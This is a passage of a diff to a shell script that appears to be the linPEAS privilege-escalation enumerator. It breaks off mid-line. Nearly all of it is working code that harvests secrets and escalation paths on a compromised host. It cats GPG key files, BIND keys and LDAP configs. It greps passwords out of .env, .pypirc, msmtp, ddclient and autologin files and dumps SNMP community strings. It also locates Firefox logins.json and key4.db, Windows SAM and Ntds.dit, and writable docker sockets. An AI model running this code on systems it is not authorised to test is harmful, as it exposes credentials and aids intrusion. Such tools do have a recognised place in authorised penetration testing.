print_2title "Analizing Svn Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then echo_not_found ".svn"; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo ""; + + + print_2title "Analizing PGP-GPG Files (limit 70)" + ((command -v gpg && gpg --list-keys) || echo_not_found "gpg") 2>/dev/null + ((command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found "netpgpkeys") 2>/dev/null + (command -v netpgp || echo_not_found "netpgp") 2>/dev/null + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then echo_not_found "*.pgp"; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" | sed -${E} "s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then echo_not_found "*.gpg"; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then echo_not_found "*.gnupg"; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + + + print_2title "Analizing Cache Vi Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then echo_not_found "*.swp"; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" | sed -${E} "s,\.swp$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then echo_not_found "*.viminfo"; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo ""; - ##-- SI) vi swp files - printf $Y"[+] "$GREEN"Searching vim files\n"$NC - vimfiles=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_MNT\n$FIND_SYSTEM\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E "\.swp$|\.viminfo$") - printf "%s\n" "$vimfiles" | sort | uniq | while read f; do - ls -l "$f" 2>/dev/null - done - echo "" ##-- SI) containerd installed - printf $Y"[+] "$GREEN"Checking if containerd(ctr) is available\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation\n"$NC + print_2title "Checking if containerd(ctr) is available" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation" containerd=`command -v ctr` if [ "$containerd" ]; then - echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," ctr image list fi echo "" ##-- SI) runc installed - printf $Y"[+] "$GREEN"Checking if runc is available\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation\n"$NC + print_2title "Checking if runc is available" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation" runc=`command -v runc` if [ "$runc" ]; then - echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," fi echo "" #-- SI) Docker - printf $Y"[+] "$GREEN"Searching docker files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket\n"$NC - dockerfiles=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E 'docker.socket|docker.sock|Dockerfile|docker-compose.yml') - printf "%s\n" "$dockerfiles" | while read f; do + print_2title "Searching docker files (limit 70)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket" + printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do ls -l "$f" 2>/dev/null - if [ -S "$f" ] && [ -w "$f" ]; then - echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then + echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi done echo "" - #-- SI) Firefox files - printf $Y"[+] "$GREEN"Interesting Firefox Files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/forensics/basic-forensics-esp/browser-artifacts#firefox\n"$NC - firefoxdirs=$(echo "$FIND_DIR_HOME" | grep -E '\.mozilla') - printf "%s\n" "$firefoxdirs" | while read f; do - if [ "$f" ]; then - echo "Found $f" - find "$f" -name "places.sqlite" -o -name "bookmarkbackups" -o -name "formhistory.sqlite" -o -name "handlers.json" -o -name "persdict.dat" -o -name "addons.json" -o -name "cookies.sqlite" -o -name "cache2" -o -name "startupCache" -o -name "favicons.sqlite" -o -name "prefs.js" -o -name "downloads.sqlite" -o -name "thumbnails" -o -name "logins.json" -o -name "key4.db" -o -name "key3.db" 2>/dev/null | sort - fi - done - echo "" - - #-- SI) Chrome files - printf $Y"[+] "$GREEN"Interesting Chrome Files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/forensics/basic-forensics-esp/browser-artifacts#firefox\n"$NC - chromedirs=$(echo "$FIND_DIR_HOME" | grep -E 'google-chrome') - printf "%s\n" "$chromedirs" | while read f; do - if [ "$f" ]; then - echo "Found $f" - find "$f" -name "History" -o -name "Cookies" -o -name "Cache" -o -name "Bookmarks" -o -name "Web Data" -o -name "Favicons" -o -name "Login Data" -o -name "Current Session" -o -name "Current Tabs" -o -name "Last Session" -o -name "Last Tabs" -o -name "Extensions" -o -name "Thumbnails" 2>/dev/null | sort - fi - done - echo "" + print_2title "Analizing Firefox Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then echo_not_found ".mozilla"; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" | sed -${E} "s,\.mozilla$,${SED_RED},"; for ff in $(find "$f" -name "places.sqlite"); do ls -ld "$ff" | sed -${E} "s,places.sqlite,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "bookmarkbackups"); do ls -ld "$ff" | sed -${E} "s,bookmarkbackups,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "formhistory.sqlite"); do ls -ld "$ff" | sed -${E} "s,formhistory.sqlite,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "handlers.json"); do ls -ld "$ff" | sed -${E} "s,handlers.json,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "persdict.dat"); do ls -ld "$ff" | sed -${E} "s,persdict.dat,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "addons.json"); do ls -ld "$ff" | sed -${E} "s,addons.json,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "cookies.sqlite"); do ls -ld "$ff" | sed -${E} "s,cookies.sqlite,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "cache2"); do ls -ld "$ff" | sed -${E} "s,cache2,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "startupCache"); do ls -ld "$ff" | sed -${E} "s,startupCache,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "favicons.sqlite"); do ls -ld "$ff" | sed -${E} "s,favicons.sqlite,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "prefs.js"); do ls -ld "$ff" | sed -${E} "s,prefs.js,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "downloads.sqlite"); do ls -ld "$ff" | sed -${E} "s,downloads.sqlite,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "thumbnails"); do ls -ld "$ff" | sed -${E} "s,thumbnails,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "logins.json"); do ls -ld "$ff" | sed -${E} "s,logins.json,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "key4.db"); do ls -ld "$ff" | sed -${E} "s,key4.db,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "key3.db"); do ls -ld "$ff" | sed -${E} "s,key3.db,${SED_RED},"; done; echo "";done; echo ""; + + + print_2title "Analizing Chrome Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then echo_not_found "google-chrome"; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + + + print_2title "Analizing Autologin Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then echo_not_found "autologin"; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then echo_not_found "autologin.conf"; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo ""; - #-- SI) Autologin files - printf $Y"[+] "$GREEN"Autologin Files\n"$NC - autologinfiles=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_MNT" | grep -E 'autologin|autologin.conf') - printf "%s\n" "$autologinfiles" | while read f; do - if [ "$f" ]; then - echo "$f" - ls -l "$f" 2>/dev/null | sed "s,passwd,${C}[1;31m&${C}[0m," - cat "$f" 2>/dev/null | sed "s,passwd,${C}[1;31m&${C}[0m," - echo "" - fi - done - echo "" #-- SI) S/Key athentication - printf $Y"[+] "$GREEN"S/Key authentication\n"$NC + print_2title "S/Key authentication" if [ "`grep auth= /etc/login.conf 2>/dev/null | grep -v \"^#\" | grep skey`" ]; then printf "System supports$RED S/Key$NC authentication\n" if ! [ -d /etc/skey/ ]; then echo "${GREEN}S/Key authentication enabled, but has not been initialized" - elif [ -w /etc/skey/ ]; then + elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then echo "${RED}/etc/skey/ is writable by you" ls -ld /etc/skey/ else @@ -2740,12 +2567,12 @@ if [ "`echo $CHECKS | grep SofI`" ]; then echo "" #-- SI) YubiKey athentication - printf $Y"[+] "$GREEN"YubiKey authentication\n"$NC + print_2title "YubiKey authentication" if [ "`grep auth= /etc/login.conf 2>/dev/null | grep -v \"^#\" | grep yubikey`" ]; then printf "System supports$RED YubiKey$NC authentication\n" - if [ -w /var/db/yubikey/ ]; then + if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then echo "${RED}/var/db/yubikey/ is writable by you" - ls -ld /var/db/yubikey/ + ls -ld /var/db/yubikey/ else ls -ld /var/db/yubikey/ 2>/dev/null fi @@ -2753,31 +2580,129 @@ if [ "`echo $CHECKS | grep SofI`" ]; then echo "" #-- SI) Passwords inside pam.d - printf $Y"[+] "$GREEN"Passwords inside pam.d\n"$NC - grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${C}[1;31m&${C}[0m," + print_2title "Passwords inside pam.d" + grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," echo "" - #-- SI) FastCGI params - printf $Y"[+] "$GREEN"FastCGI Params\n"$NC - fastcgi_paramsfiles=$(echo "$FIND_HOME\n$FIND_ETC\n$FIND_VAR\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E 'fastcgi_params') - printf "%s\n" "$fastcgi_paramsfiles" | while read f; do - if [ "$f" ]; then - ls -l "$f" 2>/dev/null - cat "$f" 2>/dev/null | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${C}[1;31m&${C}[0m," - echo "" - fi - done - echo "" + print_2title "Analizing SNMP Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then echo_not_found "snmpd.conf"; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*" | sed -${E} "s,rocommunity|rwcommunity|extend.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Pypirc Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then echo_not_found ".pypirc"; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Ldaprc Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then echo_not_found ".ldaprc"; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Env Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env$\"`" ]; then echo_not_found ".env"; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env$" | while read f; do ls -ld "$f" | sed -${E} "s,\.env$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Msmtprc Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then echo_not_found ".msmtprc"; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Keepass Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then echo_not_found "*.kdbx"; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then echo_not_found "KeePass.config*"; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then echo_not_found "KeePass.ini"; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then echo_not_found "KeePass.enforced*"; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing FTP Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then echo_not_found "*.ftpconfig"; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then echo_not_found "ffftp.ini"; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then echo_not_found "ftp.ini"; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then echo_not_found "ftp.config"; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then echo_not_found "ws_ftp.ini"; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing Bind Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then echo_not_found "bind"; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" | sed -${E} "s,bind$,${SED_RED},"; for ff in $(find "$f" -name "*"); do ls -ld "$ff" | sed -${E} "s,,${SED_RED},"; done; echo "";for ff in $(find "$f" -name "*.key"); do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + + + print_2title "Analizing SeedDMS Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then echo_not_found "seeddms*"; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" | sed -${E} "s,seeddms.*$,${SED_RED},"; for ff in $(find "$f" -name "settings.xml"); do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo ""; + + + print_2title "Analizing Ddclient Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then echo_not_found "ddclient.conf"; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo ""; + + + + + print_2title "Analizing Interesting logs Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then echo_not_found "access.log"; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,access\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then echo_not_found "error.log"; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,error\.log$,${SED_RED},"; done; echo ""; + + + print_2title "Analizing Windows Files Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.inf$\"`" ]; then echo_not_found "unattend.inf"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"\.rdg$\"`" ]; then echo_not_found "*.rdg"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "\.rdg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"AppEvent\.Evt$\"`" ]; then echo_not_found "AppEvent.Evt"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then echo_not_found "ConsoleHost_history.txt"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then echo_not_found "FreeSSHDservice.ini"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"NetSetup\.log$\"`" ]; then echo_not_found "NetSetup.log"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"Ntds\.dit$\"`" ]; then echo_not_found "Ntds.dit"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"RDCMan\.settings$\"`" ]; then echo_not_found "RDCMan.settings"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SAM$\"`" ]; then echo_not_found "SAM"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SAM$" | while read f; do ls -ld "$f" | sed -${E} "s,SAM$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SYSTEM$\"`" ]; then echo_not_found "SYSTEM"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SecEvent\.Evt$\"`" ]; then echo_not_found "SecEvent.Evt"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"appcmd\.exe$\"`" ]; then echo_not_found "appcmd.exe"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"bash\.exe$\"`" ]; then echo_not_found "bash.exe"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"datasources\.xml$\"`" ]; then echo_not_found "datasources.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"default\.sav$\"`" ]; then echo_not_found "default.sav"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "default\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"drives\.xml$\"`" ]; then echo_not_found "drives.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"groups\.xml$\"`" ]; then echo_not_found "groups.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"https-xampp\.conf$\"`" ]; then echo_not_found "https-xampp.conf"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"https\.conf$\"`" ]; then echo_not_found "https.conf"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "https\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"iis6\.log$\"`" ]; then echo_not_found "iis6.log"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"index\.dat$\"`" ]; then echo_not_found "index.dat"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "index\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"my\.cnf$\"`" ]; then echo_not_found "my.cnf"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"my\.ini$\"`" ]; then echo_not_found "my.ini"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "my\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ntuser\.dat$\"`" ]; then echo_not_found "ntuser.dat"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"pagefile\.sys$\"`" ]; then echo_not_found "pagefile.sys"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"php\.ini$\"`" ]; then echo_not_found "php.ini"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "php\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,php\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"printers\.xml$\"`" ]; then echo_not_found "printers.xml"; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E 